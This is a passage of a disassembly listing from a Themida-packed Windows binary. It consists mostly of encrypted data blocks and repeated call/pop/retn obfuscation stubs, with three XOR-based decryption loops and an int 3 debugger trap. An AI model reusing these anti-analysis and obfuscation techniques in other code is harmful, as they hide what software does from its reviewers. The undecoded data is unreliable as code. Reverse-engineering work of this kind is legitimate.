3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0FBD2D2C3h, 8B7FE00Dh, 0E401A5BDh dd 0C4868907h, 8B000000h, 0E433219Dh, 71958B07h, 6A07E41Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 2CACC350h, 0C53B7881h, 0EDB531E7h, 8307E40Dh dd 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0DA2134C3h, 43D7A225h, 619D8BC9h, 8907E41Ch dd 95292050h, 7E40B51h, 0CD4858Dh, 6A07E8h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0AE40A4C3h dd 0F1D9059Fh, 0FA49C36h, 683h, 0BD858900h, 0E907E415h dd 0Eh, 7C13A17Dh, 9984321Fh, 0DCDE7079h, 9509CDD7h, 7E403E1h dd 0B88689h, 9E90000h, 28000000h, 28C2A3E7h, 441502E5h dd 0FFF8006Ah, 0E7F8A5B5h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 82B89136h dd 89751DB8h, 0E4303595h, 0AD95FF07h, 0F07E431h, 988h dd 3890F00h, 66000000h, 0BB50DF8Bh, 3A4BBAAEh, 6A243489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0C010C355h, 0D99D8B2Ch, 0FF07E42Eh, 0E7F8A5B5h dd 119D3107h, 0FF07E40Ah, 0E41B1195h, 68E0F07h, 89000000h dd 0E41EF18Dh, 0F9BD8307h, 7E40Dh, 4E840Fh, 50960000h dd 50525052h, 5A310F52h, 60310F58h, 0F585A61h, 0F525031h dd 5A46B731h, 50585A58h, 0BE8h, 0C79F6000h, 3B922FCh, 0A4C20772h dd 13850Fh, 0DE80000h, 6D000000h, 0F72E69E4h, 97B38893h dd 439E6665h, 66965F5Fh, 2A0FD781h, 0F8A5B5FFh, 6A07E7h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0E6A774C3h, 27D95FFh, 820F07E4h, 0Eh, 3DB58960h, 0F07E416h dd 8Dh, 0B5FF6100h, 7E7F8A5h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 4EC35343h, 0CF239854h, 6FE9D5DFh dd 1C8E0Fh, 830F0000h, 16h, 10E8h, 8AE67B00h, 0B99C4123h dd 0A2B32535h, 0EE7C74E5h, 0EF815B3Ah, 7C5EDA7Bh, 17F1BD8Bh dd 95FF07E4h, 7E40971h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 4AC35141h, 1B0E560Fh, 24481636h, 0AD25BB90h dd 0BD832863h, 7E40A21h, 47840F02h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0EB1CC355h, 89F6500Dh, 0E425B5BDh, 0B5858B07h, 0F07E41Eh dd 282h, 0C6DD8A00h, 0BE90000h, 0B000000h, 572551D4h, 0EA2990CEh dd 85C74CA7h, 7E42671h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5CED3F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CED3F proc near ; CODE XREF: Themida_:005CED37p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5CED3F endp ; --------------------------------------------------------------------------- db 0B1h dd 4976EC99h, 0D634A074h, 0D1BD01A4h, 0E907E418h, 0FFFFF30Fh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0B9C35343h dd 0BD8B95CFh, 7E4249Dh, 10E9C18Bh, 1A000000h, 2015C6C1h dd 8FFB44FDh, 0B6536CAEh, 8DEA1E8Dh, 0E40D8585h, 8B669007h dd 0CE850DEh, 0BC000000h, 5FE6362Bh, 51BB75D4h, 0E964BC22h dd 14h, 0BB4128CEh, 22A4B94Dh, 37410C91h, 677D9F16h, 156BA231h dd 6A905Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 0E91AB2C3h, 0Dh, 19EFF9AFh, 5F2C6250h, 87073DAh dd 6A006AD7h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 4F83C350h, 10E93981h, 87000000h dd 3E622A3h, 93E2B8F1h, 4461CFC5h, 6ABD8D6Fh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 2FCDBE74h, 0E09B0A27h, 8166D93Dh, 8DFC06F3h, 0E8CB7D85h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0B3539721h, 2E4DCF81h, 852931FFh, 7E406F1h dd 6A05C083h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 30ABC350h, 95895729h, 7E40091h dd 0FE95Fh, 2B420000h, 0F6CEA4Ch, 0CD013D58h, 0B9FCD4C8h dd 0DE8B9055h, 9007B350h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 8AC35747h, 0F4C015Ah, 0B70FDEB7h, 6A006AD9h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 159D8B7Ah, 0FF07E418h, 0E4247195h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0F780D260h, 4B8D8DFAh, 0F07E7D6h, 80h, 7E900h, 0BEDF0000h dd 0A7B98E06h, 29D1FF55h, 0E41D4195h, 15BD8307h, 107E420h dd 8E850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 0F00C9C3h, 388h, 0FABF0F00h, 0E860Fh dd 9E90000h, 48000000h, 0ABB0DB52h, 82C006A8h, 0BF60026Ah dd 2BBB59D5h, 0D74FBB66h, 0BB669061h, 0BB5081DDh, 1E0812Fh dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 89ED109Bh, 0E419D9BDh, 6E907h, 952B0000h dd 4CE56A84h, 31AD95FFh, 8D8907E4h, 7E41BB5h, 0E55E9h dd 0E800h, 815D0000h, 0E8CB87EDh, 81BF6607h, 55006ACFh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0C25243Bh, 5CBA9A35h, 18798D89h, 858D07E4h, 7E7C6E1h dd 8B666050h, 48961C3h, 51006A24h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0E1E74670h, 0FB8BC13Eh dd 12E9h, 371E9000h, 0C15D7D4Dh, 8C602DA7h, 0C60CC030h dd 6435038Ah, 35FFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 81B50AC3h, 7C9806D3h dd 25896466h, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5CF0CB and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF0CB proc near ; CODE XREF: Themida_:005CF0C3p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5CF0CB endp ; --------------------------------------------------------------------------- db 21h dd 57875F4Fh, 35593300h, 0B985FFC5h, 6A07E420h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 27BCC351h, 0C3EBCA71h, 0AA99C772h, 25459D8Bh, 0FF6A07E4h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 4CC35141h dd 942BCAB1h, 6C7274BFh, 81B5FF40h, 6A07E415h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0F5A6C356h, 304D95FFh, 1EE907E4h, 0F000001h, 58Ah, 0E3816600h dd 0B04067h, 14D58529h, 70E607E4h, 7C80BB50h, 0E45F5F33h dd 85896071h, 7E42341h, 295537BBh, 613C6143h, 0EB830Fh dd 0EF810000h, 5843C16Ah, 0B3C8B60Fh, 6BA77h, 8BFC0000h dd 0FEB70FC1h, 0E804E8C1h, 8, 0BE740B3h, 9E363387h, 80E3805Fh dd 0E8E2F766h, 13h, 4A5490E3h, 0AACAD6A2h, 21366CE3h, 0BFE5AF44h dd 0E8C70BA7h, 0Ah, 3EBC7C42h, 8D0AE9F6h, 9D89FD2Ah, 7E416A9h dd 0C82B5B5Bh, 6653D18Bh, 5F5276BFh, 7298531h, 0BE907E4h dd 0F000000h, 586h, 8133BB00h, 858B0730h, 7E40F29h, 0C083FB8Bh dd 0C5BD8907h, 8307E402h, 958900C0h, 7E41C7Dh, 830FD03Bh dd 18h, 4D99D8Bh, 42E907E4h, 66000000h, 8B60DA8Bh, 0E4029D95h dd 61585307h, 6FD8D8Bh, 0BF0F07E4h, 58D89FAh, 8307E415h dd 840F01E1h, 1Dh, 0E599589h, 0A58307E4h, 7E406FDh, 89FA8BFEh dd 0E40F2995h, 0FB8BFC07h, 0E9h, 29B58D00h, 6A07E84Ch dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 7B51C357h, 5EABAE94h, 61BD8B17h, 6A07E40Bh dd 5D9D8B00h, 0FF07E41Ah, 0E40E4195h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0B6927433h, 1930BB0Eh, 26918D89h, 48B907E4h, 0E9000008h dd 13h, 0EAE3A87Eh, 37A3CA39h, 86068638h, 12492C34h, 8309980Ah dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 5E85FBC3h, 0BF0F0589h, 6AFCFAh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 3AA8EFC3h dd 1C084F94h, 4DB8166h, 0B870F16h, 60000000h, 8BD0BF0Fh dd 0E40679BDh, 0B86107h, 8B000000h, 0E40E459Dh, 0BA07h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0CA225FC3h, 31B322FEh, 0CF80DC36h, 0DE8B565Fh dd 0C233AD5Bh, 0D003E8D1h, 7504E983h, 55006AF4h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 8B486C7Dh, 0E407C9BDh, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 3F315ADAh dd 2DBD0B45h, 0D07E402h, 88h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0E5C35040h, 86E82363h, 7C2D4B36h dd 0DE8B6611h, 1B71958Bh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 8DFA4DC3h, 2DA18D8Bh dd 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0A347BAC3h, 0F128D62h, 188Ch, 10E800h, 0FA740000h dd 3E52FDCEh, 0BC1859CCh, 8488EEBAh, 0DE8B3E3Fh, 0DA8B665Bh dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 800F5818h dd 30h, 13E8h, 2C285300h, 0FB3DFA5Dh, 8D140AE6h, 25F004h dd 0B9053FF1h, 12E9h, 16FAEC00h, 7A28C1A4h, 39D00D6Bh dd 81CBFB10h, 5B2FD59Dh, 0DE59D8Bh, 0DA8B07E4h, 611BD83h dd 0F0007E4h, 6084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 0B897668Ch, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5CF51F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF51F proc near ; CODE XREF: Themida_:005CF517p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5CF51F endp ; --------------------------------------------------------------------------- db 0DDh ; --------------------------------------------------------------------------- mov cl, [eax+68h] mov edi, 69AC6773h lea ecx, [ebp+7E44FE7h] pusha xor [ebp+7E423C5h], esi mov ax, si popa jmp ecx ; --------------------------------------------------------------------------- mov [ebp+7E40245h], edx cmp dword ptr [ebp+7E422B9h], 0 jz loc_5CFA3A jbe loc_5CF577 jmp loc_5CF577 ; --------------------------------------------------------------------------- db 85h, 0C4h, 0FDh dd 0FC05A880h, 3AD4DEF8h db 18h, 0E7h, 0D3h ; --------------------------------------------------------------------------- loc_5CF577: ; CODE XREF: Themida_:005CF55Ej ; Themida_:005CF564j cmp dword ptr [ebp+7E422B9h], 1 jz loc_5CFA55 push 0 push ebx call sub_5CF58F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF58F proc near ; CODE XREF: Themida_:005CF587p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5CF58F endp ; --------------------------------------------------------------------------- mov ecx, [ebx-1BD2A643h] pop es push esi mov edi, 6A431FA7h pop ebx cmp dword ptr [ebp+7E422B9h], 3 jbe loc_5CFA1F push 0 push ebp call sub_5CF5C5 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF5C5 proc near ; CODE XREF: Themida_:005CF5BDp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5CF5C5 endp ; --------------------------------------------------------------------------- dec ebp inc esi cli enter 660Bh, 94h jge loc_5CF5E8 or [ebp+7E41F21h], edi loc_5CF5E8: ; CODE XREF: Themida_:005CF5DCj pusha or ebx, [ebp+7E4063Dh] jmp loc_5CF5FC ; --------------------------------------------------------------------------- test ch, al rol dword ptr [ebx-74D33185h], 1 loc_5CF5FC: ; CODE XREF: Themida_:005CF5EFj mov cx, ds mov [ebp+7E41FE9h], edx and cl, 4 push 0 push esi call sub_5CF613 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF613 proc near ; CODE XREF: Themida_:005CF60Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5CF613 endp ; --------------------------------------------------------------------------- xchg eax, [esi] mov ch, 0AEh cli pusha xchg eax, ebx sub bx, 0F1A5h mov [ebp+7E429CDh], esi or cl, cl jz loc_5CF78D push 0 push ebx call sub_5CF648 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF648 proc near ; CODE XREF: Themida_:005CF640p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5CF648 endp ; --------------------------------------------------------------------------- dd 664BE240h, 0BF0FDA8Bh, 51858BFBh, 6A07E406h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 330CC355h, 0E4202985h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 89E60869h dd 0E429D585h, 0BF665007h, 489CF5Bh, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0A885B517h dd 0F85C6390h, 998529BEh, 2B07E42Bh, 0E43141BDh, 0E8006A07h dd 5, 0BD8C3BD1h, 6557BFFFh, 0E85F626Bh, 4, 1F03FFh, 638AECBFh dd 8B665076h, 24448BF9h, 0D88B6604h, 0BF66008Bh, 4489E628h dd 0F88B0424h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 3B728F0Fh, 15AA6C17h dd 95FF2A5Ch, 7E42D99h, 68F0Fh, 0F3810000h, 5DA74552h dd 0F8A58589h, 6A07E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0B58994C3h, 7E41AB5h, 0F59B589h dd 3FE907E4h, 8B000002h, 0E43031BDh ; --------------------------------------------------------------------------- pop es loc_5CF78D: ; CODE XREF: Themida_:005CF637j mov eax, [ebp+7E7F89Dh] push 0 push ecx call sub_5CF79E and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF79E proc near ; CODE XREF: Themida_:005CF796p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5CF79E endp ; --------------------------------------------------------------------------- dw 0E542h ; --------------------------------------------------------------------------- aam 0DBh mov ds:4BF8C7Dh, al ja loc_5CF7C9 jb loc_5CF7C9 mov edi, [ebp+7E4200Dh] loc_5CF7C9: ; CODE XREF: Themida_:005CF7B7j ; Themida_:005CF7BDj mov dword ptr [eax], 18h mov [ebp+7E42431h], esi mov esi, [ebp+7E7F8A1h] push 0 push esi call sub_5CF7E6 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF7E6 proc near ; CODE XREF: Themida_:005CF7DEp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5CF7E6 endp ; --------------------------------------------------------------------------- dw 0AADBh dd 0F52C000Ah, 8A8FCC74h, 99858BD9h, 6A07E400h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0F8BCC353h, 23319589h, 68907E4h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 1BC35747h, 0D0C1FC3Ch, 651858Bh dd 6A07E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 888AC3h, 0CDDCBC3Ah, 0D98B66F5h, 6A044689h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 4D4FC352h, 6E8h, 0FAB90B00h, 0F5AD351h, 0B82h dd 6E900h, 3B070000h, 0CBAEAAAh, 859D335Fh, 9607E430h dd 9E82BF66h, 66525050h, 0F73DBBFh, 5AF6B331h, 6A9658h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0E4A40BC3h, 147A6346h, 18D0Fh, 0FFF80000h, 0E7F89DB5h dd 0DD9D8B07h, 6807E414h, 706BB556h, 11E8h, 0A50BDD00h dd 0D2FD4EFBh, 290B61ECh, 4C4EA8C3h, 8B66B63Fh, 34815FF9h dd 74B6A924h, 52006A70h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 70C56A64h, 8B7A964Ah, 0E40509BDh dd 0A5858D07h, 6A07E7F8h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 8DA1C356h, 0EF406B4Fh dd 53507446h, 10E8h, 34A2F000h, 0C58649A8h, 6F7C8344h dd 6951D095h, 5B5F5331h, 2404895Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0E1C35141h, 12AD8D89h, 95FF07E4h dd 7E42D99h, 325D8D89h, 16107E4h, 0E406F185h, 0B985C707h dd 307E422h, 66000000h, 0FC472BBh, 0BD83D9BFh, 7E7F8A5h dd 34840F00h, 31000000h, 0E405458Dh, 44E907h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0EB1DFEC3h, 0B144830Ch, 35BD29D2h ; --------------------------------------------------------------------------- sbb ah, ah pop es loc_5CFA1F: ; CODE XREF: Themida_:005CF5B4j ; Themida_:005CFA36j push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5CFA1F jmp short loc_5CFA70 ; --------------------------------------------------------------------------- loc_5CFA3A: ; CODE XREF: Themida_:005CF558j ; Themida_:005CFA51j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5CFA3A jmp short loc_5CFA70 ; --------------------------------------------------------------------------- loc_5CFA55: ; CODE XREF: Themida_:005CF57Ej ; Themida_:005CFA6Cj push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5CFA55 jmp short $+2 loc_5CFA70: ; CODE XREF: Themida_:005CFA38j ; Themida_:005CFA53j mov eax, eax mov [ebp+7E41CB9h], ebx push 0 push ebx call sub_5CFA83 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CFA83 proc near ; CODE XREF: Themida_:005CFA7Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5CFA83 endp ; --------------------------------------------------------------------------- mov ah, 0B3h wait cmp dword ptr [ebp+7E422B9h], 3 jnz loc_5CFE57 push 0 push eax call sub_5CFAAE and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CFAAE proc near ; CODE XREF: Themida_:005CFAA6p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5CFAAE endp ; --------------------------------------------------------------------------- dw 0F0FAh dd 9E96369Bh, 0BE96033h, 0B6000000h, 326E97Ah, 0B93A57B1h dd 8B6623ABh, 0BD8361C6h, 7E7F8A5h, 70840F00h, 60000003h dd 22EBD1BFh, 0C18B663Ah, 0A5B5FF61h, 0E907E7F8h, 0Bh dd 0CC923AB6h, 3F3071EDh, 0FF6A830Ah, 0E4044D95h, 51BBF07h dd 0B58B0383h, 7E7F899h, 0BBBCEF81h, 6C74912h, 10001h dd 1E65BD8Bh, 0E85007E4h, 5, 7D4E7B03h, 8ABF6680h, 34895B62h dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 7C814869h, 689EBD65h, 8D8960A8h, 7E40A79h dd 1409858Bh, 0FF6107E4h, 0E7F8A5B5h, 53006A07h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0BF770F51h, 1D844A5Ah, 2099BD8Bh, 95FF07E4h, 7E42A09h dd 2701BD8Bh, 0B58B07E4h, 7E7F899h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0B3C35545h, 48BAEEFCh, 8BB3D138h dd 65858BDAh, 0F07E431h, 8689FAB7h, 0C4h, 80D3EB80h, 958B8AF7h dd 7E41B71h, 5E9h, 41A50900h, 0C2838C0Eh, 0ED51BF04h, 508930ADh dd 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0C7CE248Eh, 0A3F34D25h, 2F05B529h, 858D07E4h dd 7E80CD4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0D7C35343h, 29F58D09h, 868907E4h, 0B8h, 10840Fh dd 0BE90000h, 44000000h, 55199A0Ah, 6EDB60B2h, 6A2829h dd 0A5B5FFFCh, 5307E7F8h, 5FD98B66h, 31AD95FFh, 0BD8B07E4h dd 7E409F1h, 70BB6650h, 24348944h, 12E8h, 88D47400h, 5D5B743Ah dd 4FD093DFh, 4154294h, 0E879CD38h, 11h, 5723E0C1h, 0C8944DACh dd 0B3C8F215h, 0F5D2FC57h, 9E93Ah, 0D6BC0000h, 6BFB707Ch dd 5FE1362Ch, 0CE95Fh, 0B8930000h, 0A1F0C024h, 87602E08h dd 0B5FF3A0Eh, 7E7F8A5h, 0DE9h, 5C339500h, 0FF42A668h dd 0B64D66D2h, 95FF37D7h, 7E41B11h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0EAC35141h, 0F1680D93h, 5F0ED217h dd 2820F4Ch, 8B000000h, 0D18D31D8h, 8307E431h, 0E40DF9BDh dd 840F0007h, 3Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 26C35646h, 5949258Bh, 0E8213973h, 0Bh dd 1ED6DEEAh, 7222373Dh, 0FC4D3630h, 0DA8B505Bh, 0FF243489h dd 0E7F8A5B5h, 0F5BD0307h, 0FF07E421h, 0E4027D95h, 65B52907h dd 907E400h, 0E40AD18Dh, 0A5B5FF07h, 6A07E7F8h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 4581C356h, 3572B953h, 0A465D20h, 8AFB8B66h, 7195FFD8h dd 8307E409h, 0E40A21BDh, 840F0207h, 4Ah, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 19h, 0FBC35040h, 930BC392h dd 919D295Ch, 5707E430h, 9565BB66h, 0B5858B5Fh, 0F07E41Eh dd 0C6DFB7h, 8870F00h, 56000000h, 15D9BD8Bh, 805B07E4h dd 85C7B5F3h, 7E42671h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5CFE3B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CFE3B proc near ; CODE XREF: Themida_:005CFE33p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5CFE3B endp ; --------------------------------------------------------------------------- db 73h ; --------------------------------------------------------------------------- movsd xchg eax, ebx db 36h mov esi, 519D8B9Fh add esp, esp pop es loc_5CFE57: ; CODE XREF: Themida_:005CFA9Dj jmp near ptr dword_5CF0DC+3Ah ; --------------------------------------------------------------------------- cmc mov eax, ecx xor bl, 78h lea eax, [ebp+7E40D85h] push 0 push eax call sub_5CFE73 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CFE73 proc near ; CODE XREF: Themida_:005CFE6Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5CFE73 endp ; --------------------------------------------------------------------------- push 8950BC58h add al, 24h push 0 push eax call sub_5CFE95 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CFE95 proc near ; CODE XREF: Themida_:005CFE8Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5CFE95 endp ; --------------------------------------------------------------------------- db 0A2h, 0A0h, 52h dd 6E473FA3h, 0DE8C5DDh, 6E000000h, 3D968738h, 0FDCBA7FFh dd 8020220Dh, 6A5FF5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 2CC35040h, 254EB3F1h, 0A8C0BB66h, 8E9h dd 1E254E00h, 14573BB2h, 6A006A98h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0C0BEC355h dd 6A81AE0Ah, 858D7970h, 7E8DC2Ah, 22B58D89h, 0C08307E4h dd 11E99005h, 0C9000000h, 5048C203h, 71CB0BFBh, 8A95C9A6h dd 1A2960B0h, 95899050h, 7E418A9h, 13E9h, 0E678A600h, 0EEABDE39h dd 19ED44EFh, 572F3DC6h, 260F9A18h, 0AE8006Ah, 0FC000000h dd 0C73F2308h, 599EBC5Ch, 2D9D89EAh, 5F07E41Bh, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0F4BF07C3h, 0FF55738Ah, 0E4247195h, 55006A07h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 4B8D8DD2h, 0F07E7D6h, 0BD8BF8B7h, 7E42E11h, 6AD1FFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 618283C3h, 2015BD83h, 0F0107E4h, 0BC85h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0EE95C28h, 0AF000000h, 1DAB0340h, 59FB0EF6h, 0FD812B6Dh dd 6A026ABBh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 3A42C357h, 0FF898C6h, 2CBFFABFh dd 50713310h, 58C0F60h, 0B8000000h, 344CE007h, 24048961h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0E2C35545h dd 0DD76680Ch, 0AD95019Dh, 0FF07E419h, 0E431AD95h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0E3508015h, 8BDA82D2h, 0DDFE9D9h, 0E80000h, 5D000000h dd 0DC34ED81h, 0EE907E8h, 65000000h, 0C1251358h, 63A0195Fh dd 0DADFCE2Ch, 0D99D8BF3h, 8D07E423h, 0E7C6E185h, 6650F907h dd 89C6D2BBh, 0E6BB2404h, 647ED838h, 35FFh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0BD8BACC3h, 7E42409h, 258964h, 0F000000h, 68Ah, 15BD8B00h dd 0FF07E421h, 0E420B985h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0BD8919B1h dd 7E42D11h, 0FE8h, 19D9500h, 0A85FCA2Dh, 17B4CCAh, 0A9A09F63h dd 6860Fh, 8F0F0000h, 0 ; --------------------------------------------------------------------------- pop edi push 0FFFFFFFFh push 0 push edi call sub_5D0186 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D0186 proc near ; CODE XREF: Themida_:005D017Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5D0186 endp ; --------------------------------------------------------------------------- dw 0AA31h ; --------------------------------------------------------------------------- clc int 3 ; Trap to Debugger mov bx, si js loc_5D01A7 mov di, 1FBBh loc_5D01A7: ; CODE 